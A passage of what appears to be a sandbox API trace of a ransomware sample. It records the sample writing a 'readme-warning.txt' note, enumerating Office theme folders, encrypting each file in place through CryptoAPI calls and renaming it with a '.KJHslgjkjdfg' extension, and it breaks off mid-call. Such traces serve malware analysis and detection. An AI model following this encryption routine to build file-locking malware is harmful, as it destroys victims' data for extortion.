lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.712] GetProcessHeap () returned 0x990000 [0171.712] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.712] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.712] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.712] GetProcessHeap () returned 0x990000 [0171.712] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.712] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\readme-warning.txt") returned 81 [0171.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.714] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.715] CloseHandle (hObject=0x12c) returned 1 [0171.715] GetProcessHeap () returned 0x990000 [0171.715] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.715] GetProcessHeap () returned 0x990000 [0171.715] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.715] GetProcessHeap () returned 0x990000 [0171.715] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.715] GetProcessHeap () returned 0x990000 [0171.715] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.715] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.716] GetProcessHeap () returned 0x990000 [0171.716] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.716] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1 [0171.716] GetProcessHeap () returned 0x990000 [0171.716] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0171.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.717] GetProcessHeap () returned 0x990000 [0171.717] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.717] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.717] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0171.717] GetProcessHeap () returned 0x990000 [0171.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0171.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.718] GetProcessHeap () returned 0x990000 [0171.718] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.718] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.718] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.719] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0171.721] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.721] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.721] GetProcessHeap () returned 0x990000 [0171.721] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.721] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.721] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.721] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.721] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.721] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.721] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.722] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.722] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.722] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.722] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.722] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.722] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaec9, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xaec9, lpOverlapped=0x0) returned 1 [0171.723] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xaed0, dwBufLen=0xaed0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xaed0) returned 1 [0171.724] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.724] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaed0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xaed0, lpOverlapped=0x0) returned 1 [0171.724] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.724] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xaf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.724] SetEndOfFile (hFile=0x12c) returned 1 [0171.729] GetProcessHeap () returned 0x990000 [0171.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.729] GetProcessHeap () returned 0x990000 [0171.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.kjhslgjkjdfg")) returned 1 [0171.730] CloseHandle (hObject=0x12c) returned 1 [0171.730] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0171.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.732] GetProcessHeap () returned 0x990000 [0171.732] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.732] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.732] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.732] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0171.734] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.734] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.734] GetProcessHeap () returned 0x990000 [0171.734] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.734] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.734] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.734] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.734] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.734] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.734] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.734] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.734] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.734] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.734] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.734] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.734] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1d1, lpOverlapped=0x0) returned 1 [0171.734] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1e0) returned 1 [0171.734] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.735] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1e0, lpOverlapped=0x0) returned 1 [0171.735] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.735] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.735] SetEndOfFile (hFile=0x12c) returned 1 [0171.737] GetProcessHeap () returned 0x990000 [0171.737] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.737] GetProcessHeap () returned 0x990000 [0171.737] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.kjhslgjkjdfg")) returned 1 [0171.748] CloseHandle (hObject=0x12c) returned 1 [0171.748] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.749] GetProcessHeap () returned 0x990000 [0171.749] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.749] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.749] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.750] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0171.776] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.776] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.776] GetProcessHeap () returned 0x990000 [0171.776] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.776] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.776] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.776] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.776] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.776] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.776] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.777] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.777] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.777] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.777] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.777] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.777] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3b1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x3b1, lpOverlapped=0x0) returned 1 [0171.777] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3c0) returned 1 [0171.777] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.777] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x3c0, lpOverlapped=0x0) returned 1 [0171.777] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.777] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.778] SetEndOfFile (hFile=0x12c) returned 1 [0171.781] GetProcessHeap () returned 0x990000 [0171.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.781] GetProcessHeap () returned 0x990000 [0171.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.788] CloseHandle (hObject=0x12c) returned 1 [0171.788] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.789] GetProcessHeap () returned 0x990000 [0171.789] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.789] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.789] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.789] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0171.804] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.804] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.804] GetProcessHeap () returned 0x990000 [0171.804] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.805] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.805] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.805] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.805] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.805] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: 